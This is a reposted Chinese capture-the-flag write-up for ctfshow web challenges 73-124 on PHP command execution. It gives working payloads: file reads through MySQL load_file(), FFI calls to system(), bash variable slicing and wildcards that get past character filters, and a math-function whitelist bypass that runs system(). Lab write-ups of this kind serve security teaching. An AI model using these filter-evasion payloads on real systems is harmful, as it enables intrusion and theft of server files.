ctfshow - web - 命令执行漏洞总结(二)

web73

该题目没有开启web72的open_basedir,所以可以使用var_export(scandir('/'));exit();进行目录扫描。

读取文件函数:

require_once()

web74

scandir()函数被禁用,使用glob://伪协议进行读取根目录文件。

c=var_export(glob('../../../*'));exit();
c=var_export(glob('/*'));exit();

c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();

然后仍然用include()等函数来读取文件。

web75

直接用c=var_export(glob("/*"));exit();去查看根目录文件,发现返回false,说明直接用glob()函数存在问题。利用glob伪协议,可以绕过,得到根目录文件。

c=$a=opendir("glob:///*");while (($file = readdir($a)) !== false) {echo $file . "<br>";};exit();

存在flag36.txt文件。include()等函数被过滤,ufa脚本也被过滤,因此可以使用mysql的load_file()函数进行文件读取。

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;
}catch (PDOException $e) {echo $e->getMessage();exit(0);
}exit(0);try {// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  // 输出读取到的内容,并追加一个竖线(|)echo($row[0])."|";}// 将数据库连接对象设置为null,关闭连接$dbh = null;
} catch (PDOException $e) {// 如果发生PDO异常,输出错误信息echo $e->getMessage();// 终止脚本执行die();
}
// 终止脚本执行
exit();

$dbh 是数据库连接句柄(database handle),它是通过 new PDO 创建的,用于与数据库进行交互。 PDO(PHP Data Objects)是PHP中的一个扩展,它提供了一个统一的接口来访问不同的数据库。它支持预处理语句和事务,使数据库操作更安全和高效。 DSN(数据源名称,Data Source Name)是一个包含数据库连接信息的字符串。它通常包括数据库类型、主机名、数据库名称等信息。在创建PDO对象时指定,即 'mysql:host=localhost;dbname=information_schema'。这个字符串包含了数据库类型(mysql)、主机名(localhost)和数据库名称(information_schema)。 foreach 是PHP中的一个控制结构,用于遍历数组或对象。在上面payload中,foreach 用于遍历SQL查询的结果集(由 $dbh->query 返回),并处理每一行的数据。

这里的ctftraing数据库可以更换为information_schema,information数据库包含了所有的信息,因此也可以查询到flag36.txt的信息。

这里数据库的名称为空仍然可以获取到flag36.txt,可能information_schema为默认的数据库。

下面的代码为mysqli的形式:

c=$dbh=mysqli_connect('localhost','root','root','ctftraining');
if($dbh->connect_errno){echo "连接失败".$dbh->connect_error;exit(); 
} 
$dbh->set_charset('utf8mb4'); 
$q='select load_file("/flag36.txt") as file_content';
foreach(mysqli_query($dbh,$q) as $row){ echo $row['file_content']."|";
}
$dbh=null;
exit(0);c=$dbh=mysqli_connect('localhost','root','root','ctftraining');if($dbh->connect_errno){echo "连接失败".$dbh->connect_error;exit();} $dbh->set_charset('utf8mb4');$q='select load_file("/flag36.txt") as file_content';foreach(mysqli_query($dbh,$q) as $row){echo $row['file_content']."|";}$dbh=null;exit(0);#该代码数据库的部分仍然可为空,应该是存在默认数据库。c=$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql = "select load_file('/flag36.txt') as a"; $row = mysqli_query($conn, $sql); while($result=mysqli_fetch_array($row)){ echo $result['a']; } exit();

利用php语言实现sql查询:

#查询数据库

c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){echo($row[0])."|"; 
}exit();
// 数据源名称(DSN),指定数据库类型、主机名和数据库名称
$dsn = "mysql:host=localhost;dbname=information_schema";
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,使用指定的DSN、用户名(root)和密码(root)
$db = new PDO($dsn, 'root', 'root');
// 执行一个SQL查询,从SCHEMATA表中选择并连接所有数据库名称(SCHEMA_NAME),返回一个结果集
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
// 遍历结果集中的每一行,并输出第一个字段(即连接的数据库名称),然后追加一个竖线(|)
foreach($rs as $row){echo($row[0])."|";
}
// 终止脚本执行
exit();

#查询表
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();
​
#查询字段
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='ctftraining'");
foreach($rs as $row){echo($row[0])."|"; 
}exit();
​
#查询值
c=$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select FLAG_COLUMN from FLAG_TABLE");
foreach($rs as $row){echo($row[0])."|"; 
}exit();

web77

该题禁用了使用mysql代码的方法去读取flag。在php7.4版本以上存在一个FFI参数,该参数的FFI:cdef方法可用于定义C函数原型。int system(const char *command)是C语言中 system()函数的声明,system($a)函数只接受一个字符串参数(即shell命令),并且会在系统中执行该命令。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

声明system()函数为$ffi变量,$a是执行/readfile文件到1.txt,利用system()函数执行$a。

执行过程:利用$ffi变量调用system()函数,然后执行$a,实际就是执行shell命令:/readfile文件到1.txt

paylaod:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

问题:为什么不能直接访问flag36x.txt,原因:权限不够,将flag36x.txt重定位到1.txt,可以看到没有内容。

使用ls -a命令查看根目录文件的权限:

c=$ffi = FFI::cdef("int system(const char *command);");$a='ls -l / > 1.txt';$ffi->system($a);

对于以上字符串每三个字符为一组,分别表示所有者权限,文件所属组的权限,其他用户和组的权限。

所以看到flag36x.txt是只有所有者和所属组有读的权限,其他组和用户没有任何权限。因此无法直接读取flag36x.txt。但是readfile文件是其他用户和组有读取和执行的权限,因此可以读取并执行该文件。

执行该文件后为什么能够输出flag:

原因:readflag文件是一个二进制文件,该文件的作用是用来提升权限的,所以能够输出flag。

重定位该文件到4.txt文件,然后访问下载该文件,用IDA打开进行反编译:

setuid(0):将权限提升为root。所以通过提升用户权限为root来读取flag。

int __fastcall main(int argc, const char **argv, const char **envp)
{
setuid(0);                      // 提升权限为root用户
puts("ctfshow flag getter");    // 输出一条信息到标准输出
system("cat /flag36x.txt");     // 执行命令,输出文件 /flag36x.txt 的内容
return 0;                       // 返回0,表示程序正常结束
}
就是提权成 root

web118

黑盒测试题目,不知道源码。

输入数字和小写字母被过滤。大写字母没有被过滤。查看源码,发现时输入命令在system()函数中执行。

BP抓包查看那些字符是没有被过滤:发现除了大写字母还有一些字符没有被过滤,例如 ~ 符号。

知识点:Linux内置变量,bash切片。

在linux中存在内置变量(系统变量)用于配置系统信息或者存储系统信息。

(1)$BASH

描述:指向当前使用的Bash解释器的路径。
示例:/bin/bash
用途:用于确定正在使用的Bash版本和路径。

(2) $PATH

描述:存储一系列路径,这些路径用于查找可执行文件,当你在命令行中输入命令时,系统会在这些路径中查找对应的可执行文件。
示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
用途:影响命令的查找和执行,可以添加自定义脚本或程序的路径。

(3)$HOME

描述:当前用户的主目录路径。
示例:/home/username
用途:表示当前用户的主目录,通常用于存储用户配置文件和个人数据。

(4)$PWD

描述:当前工作目录(Present Working Directory)。
示例:/home/username/projects
用途:表示当前的工作目录路径,常用于脚本和命令中获取或显示当前目录。

(5)$USER

描述:当前登录的用户名。
示例:username
用途:表示当前用户的名称,常用于显示或检查用户信息。

(6)$SHELL

描述:当前用户的默认shell。
示例:/bin/bash
用途:表示用户登录时使用的默认shell路径。

(7)$UID

描述:当前用户的用户ID。
示例:1000(普通用户),0(root用户)
用途:标识当前用户的唯一ID。

(8)$IFS

描述:内部字段分隔符(Internal Field Separator),用于分割输入的字段,默认为空格、制表符和换行符。
示例:默认值为<space><tab><newline>
用途:影响脚本中的字段分割,常用于处理输入和解析文本。

(9)$PS1

(10)$OSTYPE

(11)$TERM

bash切片知识

与python切片类似。格式:${VAR:offset:length}

${PWD:1:3}

在bash中字符串索引的位置也从0开始。以上命令表示执行$PWD命令后将执行结果截取下标为1-3位置的字符。

${PWD:1}

如果只填写一个字符则会默认访问到字符串结尾。

该题目会用到 ~ 符号。~ 代表从结尾开始取值:

用到 ~ 的原因是需要在结尾处截取字符串进行字符串拼接从而得到能够执行shell命令的参数。

由于数字被过滤,所以需要用到大写字母:

看到大写字母无论有几个都只是截取末尾的一个字符,与数字0等效。

在该题目下,应该是部署/var/www/html环境下,所以$PWD的结果应该是/var/www/html,而$PATH的结果最后一个是bin,所以可以拼接出nl命令来读取flag。

payload:

${PATH:~A}${PWD:~A} ????.???

读取flag.php文件,因为通配符 ? 可以使用,所以用 ????.??? 来代替flag.php

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
等价于:ll ?l??.???

#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

在bash中${#var}用于获取变量var的长度,所以这里的截取位置需要的数字可以通过这种方法进行获取。

这种方法可以用于任何变量,字符串变量以及环境变量。

比如:$HOME 返回 /root, 所以${#HOME} = 5

web119

该题目在原来过滤了小写字母和数字以及一些特殊字符的基础上,又过滤了PATH这个单词,因此,上一题的payload无法使用。

利用${#RANDOM}系统内置变量,该变量是用来随机生成数字4或者5,因此,可以构造/bin/base64来读取flag。

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

${PWD::${#SHLVL}} 返回反斜杠/,用???通配符代表bin,用?????代表base6,用????.???代表flag.php。

${PWD::${SHLVL}}???${PWD::${SHLVL}}?????${#RANDOM} ????.???

${PWD::${SHLVL}}也返回 /,但不知道为什么不行,不能返回结果。

错误原因:因为${SHLVL}是返回在linux中第一次打开进程是值为1,第二次打开进程时值为2。所以当传入${SHLVL}时,值为2则不能返回反斜杠 / 。

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
${PWD:${Z}:${#SHLVL}}    ====>   /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

其他方法:

0:${#};
1:${#SHLVL}=1,或者${##}、${#?}。
2:${SHLVL}=2 (SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。)
3:${#IFS}=3。(linux下是3,mac里是4)

构造payload: /bin/cat flag.php

已知$PWD返回/var/www/html

${PWD::${#SHLVL}}??? = /bin${PWD:${SHLVL}:${#SHLVL}} = a${PWD:~${SHLVL}:${#SHLVL}} = t${PWD::${#SHLVL}}?${PWD:${SHLVL}:${SHLVL}}${PWD:${SHLVL}:${SHLVL}} = /cat${PWD:~A} = l????.??? = flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}} ?${PWD:~A}??.???${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} = t
/???/??t ????.???
/bin/cat flag.php

${LANG:${#SHLVL}:${#SHLVL}}${PWD:~A} ?${PWD:~A}??.???
${SHELL:~${#RANDOM}:${#SHLVL}}${PWD:~Q} ?${PWD:~A}??.???

这两条payload是通过构造nl命令来读取flag,但是没有成功。可能是因为nl没有被允许使用。

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

该过滤条件导致只能通过字符拼接的方式去绕过过滤,并且拼接的字符串长度不能大于65,所以该payload不能使用。

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${PWD:${SHLVL}:${#SHLVL}}? ????.???

可以用以下paylaod来代替。

${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
/???/??t ????.???

在控制字符串长度的时候,可以使用等价的长度更短的符号代替,这里${##} = ${#SHLVL}

官方WP:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

这里可以使用${USER:~A},因为USER在这里的参数是:www-data,${USER:~A} = a,该方法无法读取flag。读取了ELF的二进制文件。

其他方法:

用/bin/rev去读取flag,出来结果是逆序。

${PWD::${#SHLVL}}??? = /bin
${PWD:${#IFS}:${#SHLVL}} ${#IFS}返回结果为3,因此可以读取/var/www/html结果为:r。
因此 ${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}?? = /rev

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${#SHLVL}}?? ????.??? = /bin/rev flag.php

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

也可用上一题base64的方法去绕过,但要多试几次。

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

由于SHLVL被过滤,因此,可以用## 来代替SHLVL。

${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

另一个payload:利用/bin/rev来获取flag

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){$code=$_POST['code'];if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    if(strlen($code)>65){echo '<div align="center">'.'you are so long , I dont like '.'</div>';}else{echo '<div align="center">'.system($code).'</div>';}}else{echo '<div align="center">evil input</div>';}
}?>

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

该题目是增加了更多的过滤,由于过滤了 # 和 PWD 变量,所以上一题payload无法使用。
该题目利用 $? 进行绕过,来进行字符串的拼接,$?用来返回上一个命令的执行状态,当命令执行错误时,状态值返回1,执行正确时状态值返回0。因此前面执行<A,是错误命令,会返回1,而$HOME返回/root结果,取下第一个字符,则为/,后面RANDOM,由于"#"被过滤,因此需要使用$?来进行切割取随机数的第一位,当取到4时则构成base64读取flag。  

由于没有特征,所以在用通配符识别命令时会比较缓慢。

web124

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}
?>

该题目是过滤了一些特殊符号,只允许在白名单whitelist中的函数进行操作,所以只能利用这些函数构造payload:

看文件

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls

读取文件

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

解析

$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数,动态调用 PHP 函数需要使用 $var{func} 这种形式,其中 $var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造

$pi{abs}($pi{acos});&abs=system&acos=ls

$pi{abs}($pi{acos});&abs=system&acos=tac flag.php

因为$pi 是一个字符串,而不是一个函数。$pi 的值是通过将 37907361743 和 1598506324 作为参数传递给 base_convert 和 dechex 函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎将无法识别 $pi 变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs} 将 $pi{abs} 解释为一个变量名,然后使用 $pi{acos} 作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos}) 将会调用 $pi{abs}($pi{acos})。 所以要构造

$$pi{abs}($$pi{acos});&abs=system&acos=ls

$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 这句代码表明没有检测纯数字或者特殊符号,一但出现字符就会和白名单的函数进行匹配,如果存则通过,不存在则停止执行。y因此需要使用数字和特殊符号进行绕过。

payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324)) = _GET;

原因:
首先需要构造能够执行参数的方法:$_GET()或者$_POST()。这就需要一个能够将数字转化为字符的函数,有     hex2bin。(这里是将16进制转为字符)

base_convert()是将一个字符串默认从一个进制转到另一个进制。而base_convert("hex2bin",36,10)=
37907361743,因此base_convert(37907361743,10,36)也就等于hex2bin。

hexdec(bin2hex('_GET')) = 1598506324
注:hexdec是将16进制转化为10进制,dechex是将十进制转为16进制。
所以dechex(1598506324)就是_GET的16进制,然后通过hex2bin转化为字符串。

$$pi{abs}($$pi{acos})

双写$$是将传入一个参数的值再次当做变量,这里需要将传入的值当作变量后动态调用,因此出现$$pi{abs},这里{abs}等价于要传入的函数,$pi = _GET,所以$$pi{abs} = system,$$pi{acos} 即等价于传入system函数的参数。$$pi{abs}($$pi{acos}) = system($var)

这里白名单里的变量可以认为是一些允许出现的字符串,不能当作执行的函数,在拼接paylaod的过程中可以利用这些字符串当作参数。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/921845.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/921845.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何将视频从安卓手机传输到电脑?

无论你是否是视频爱好者&#xff0c;你可能都希望知道如何将视频从安卓手机传输到电脑&#xff0c;以释放存储空间并防止性能问题。这也有助于同步视频或防止意外删除。在本文中&#xff0c;我们将探索七种高效的传输方法。方法 1&#xff1a;仅通过 USB 将手机视频发送到电脑许…

Pico 4 Enterprise(企业版)与Unity的交互-有线串流调试篇

入手了Pico 4 E做VR开发&#xff0c;谁知入了天坑...根据官方文档&#xff0c;尝试了串流助手、企业串流、PICO Developer Center&#xff0c;陷入了各种版本问题、环境问题的陷阱。而且Pico4E的OS自24年12开始就不再更新&#xff0c;头盔中预装的企业串流版本也较低&#xff0…

redis里多线程的应用具体在哪些场景

Redis 6.0 引入的多线程I/O&#xff0c;​特指用于处理网络数据的读取&#xff08;read&#xff09;和写入&#xff08;write&#xff09;/解析&#xff08;parse&#xff09;的并行化&#xff0c;而绝非将命令的执行&#xff08;真正的数据操作&#xff09;变成多线程。这是一…

DI-GAN:基于深度学习的动态形变多模光纤透反射光控制

DI-GAN:基于深度学习的动态形变多模光纤透反射光控制 1 论文核心概念 本文提出了一种名为 DI-GAN(Deep Imaging Generative Adversarial Network) 的持续深度学习框架,用于动态形变多模光纤(MMF) 的光场控制。该框架能够同时利用透射和反射信息,实现对光纤末端光场的实…

【深度学习新浪潮】具身智能中使用到的世界模型是什么?

在具身智能中,世界模型(World Model) 是智能体对物理环境的内在“认知地图”,它通过学习环境的动态规律(如物体运动、物理交互、因果关系等),实现对未来状态的预测、对过去状态的反推,以及对未观测状态的补全。其核心价值在于:让智能体无需频繁与真实环境交互,就能在…

Qt_UI界面的设计

一、设置UI窗口大小二、接收框只读三、下拉选项双击添加选项1是添加&#xff0c;2是调整顺序四、标签字体居中字体大小五、发送框六、按钮七、透明框&#xff08;可以放标签或图片啥的&#xff09;设置最小宽度八、水平布局九、垂直布局十、弹簧&#xff08;方便给水平垂直布局…

FTP文件传输服务

一、FTP协议、服务器FTP&#xff1a;文件传输协议&#xff08;用于网络文件双向传输的应用层协议&#xff09;特点&#xff1a;最广泛、最底层、较简单&#xff0c;但是明文传输&#xff1b;适用于较大文件的传输1.常见客户端、服务器客户端&#xff1a;WINSCP or filezilla&am…

Nginx运维之路(Docker多段构建新版本并增加第三方模块)

喜大普奔&#xff0c;前两天发现Nginx竟然自带支持了ACME功能&#xff0c;让我很想测试一下&#xff0c;但是发现手头没有资源让我测试&#xff0c;忽然我想到可以用docker来构建nginx然后测试ACME功能&#xff0c;在这个过程中发现原来官方Nginx镜像并没有集成ACME插件&#x…

DrissionPage 优化天猫店铺商品爬虫:现代化网页抓取技术详解

概述在网络数据采集领域&#xff0c;传统的爬虫方法通常面临反爬机制、动态内容加载和效率低下等挑战。本文将以天猫店铺商品爬虫为例&#xff0c;详细介绍如何从传统的 Requests 库迁移到更现代化的 DrissionPage 解决方案&#xff0c;实现更高效、稳定的数据采集。----------…

pytest并发测试,资源问题导致用例失败解决办法

遇见的问题&#xff1a; 测试用例使用thrift资源和redis资源&#xff0c;单独运行case没有问题&#xff0c;但是使用并发pytest-xdist&#xff08;-n 10 和 --distloadscope&#xff09;运行失败原因&#xff1a; 测试用例间存在共享资源竞争&#xff08;如 Redis、Thrift 连接…

C 盘又满了?6 个「零风险清理法」+5 款神器,让电脑瞬间多出 100GB 空间

你是否遇到过这样的场景&#xff1a;正在赶工写报告&#xff0c;突然弹出「C 盘存储空间不足」的警告&#xff1b;想安装新软件&#xff0c;却因为 C 盘爆红而反复失败&#xff1b;甚至电脑越来越卡&#xff0c;开机要等 5 分钟&#xff0c;打开文件夹都要转圈…… 作为系统盘…

Android 项目:画图白板APP开发(四)——笔锋(单 Path)

上一章讲解了如何通过多个 Path 叠加形成笔锋效果&#xff0c;还有另外的方式实现笔锋&#xff0c;并且只需要一条Path就可以了。在讲解具体方案之前&#xff0c;我们需要了解一个有意思的工具 PathMeasure &#xff0c;这是一个非常强大且实用的工具&#xff0c;常用于高级动画…

从C++开始的编程生活(7)——取地址运算符重载、类型转换、static成员和友元

前言 本系列文章承接C语言的学习&#xff0c;需要有C语言的基础才能学会哦~ 第7篇主要讲的是有关于C的取地址运算符重载、类型转换、static成员和友元。 C才起步&#xff0c;都很简单 目录 前言 取地址运算符重载 const成员函数 基本语法 特点 取地址运算符重载 类型转换…

SQL 入门指南:排序与分页查询(ORDER BY 多字段排序、LIMIT 分页实战)

在 SQL 查询中&#xff0c;我们常需要 “按报名时间先后看活动名单”“只看第 2 页的活动报名数据”—— 这些需求靠基础查询无法实现&#xff0c;而ORDER BY&#xff08;排序&#xff09; 和LIMIT&#xff08;分页&#xff09; 就是解决这类问题的核心工具。今天我们用 “校园…

jodconverter将word转pdf底层libreoffice的问题

近期项目中使用了word转pdf的功能&#xff0c;其中借助了远程服务的jodconverter来处理。 <dependency><groupId>org.jodconverter</groupId><artifactId>jodconverter-remote</artifactId><version>4.4.2</version> </dependen…

【为YOLOv11Seg添加MFC界面】详细指南

要将现有的YOLOv11Seg代码集成到MFC界面中,我们需要创建一个MFC应用程序框架,并将现有的检测逻辑封装到其中。以下是详细步骤: 1. 创建MFC应用程序框架 1.1 使用Visual Studio创建MFC项目 打开Visual Studio,选择"创建新项目" 选择"MFC应用程序"模板…

机器学习03——线性模型(多元线性回归、对数线性回归、二分类、线性判别分析)

上一章&#xff1a;机器学习02——模型评估与选择 下一章&#xff1a;机器学习04——决策树 机器学习实战项目&#xff1a;【从 0 到 1 落地】机器学习实操项目目录&#xff1a;覆盖入门到进阶&#xff0c;大学生就业 / 竞赛必备 文章目录一、线性模型的基本形式&#xff08;一…

qt QLineSeries详解

1、概述QLineSeries是Qt Charts模块中的一个重要类&#xff0c;用于绘制折线图。它是QXYSeries的实现类&#xff0c;将信息显示为由直线连接的一系列数据点。该类为QAbstractSeries的子类&#xff0c;因此可以通过该类来访问QAbstractSeries的所有公共方法和属性。2、重要方法c…

你再也找不到更详细的3DGS教程了 —— 一万九千字长文解析3DGS

参考: https://www.bilibili.com/video/BV1MF4m1V7e3/ https://blog.csdn.net/2401_86810419/article/details/148811121 https://www.bilibili.com/video/BV1cz421872F?t=233.9 https://wuli.wiki/online/SphHar.html https://zhuanlan.zhihu.com/p/467466131 特别指出…

Python,遗传算法与神经网络架构搜索:基于DEAP的自动模型设计

引言&#xff1a;当进化论遇见深度学习——自动化的黎明在深度学习的蛮荒时代&#xff0c;我们是“手工匠人”。我们依靠直觉、前辈的经验&#xff08;ResNet 为什么是152层而不是153层&#xff1f;&#xff09;、大量的试错以及那么一点点玄学&#xff0c;在架构的黑暗森林中摸…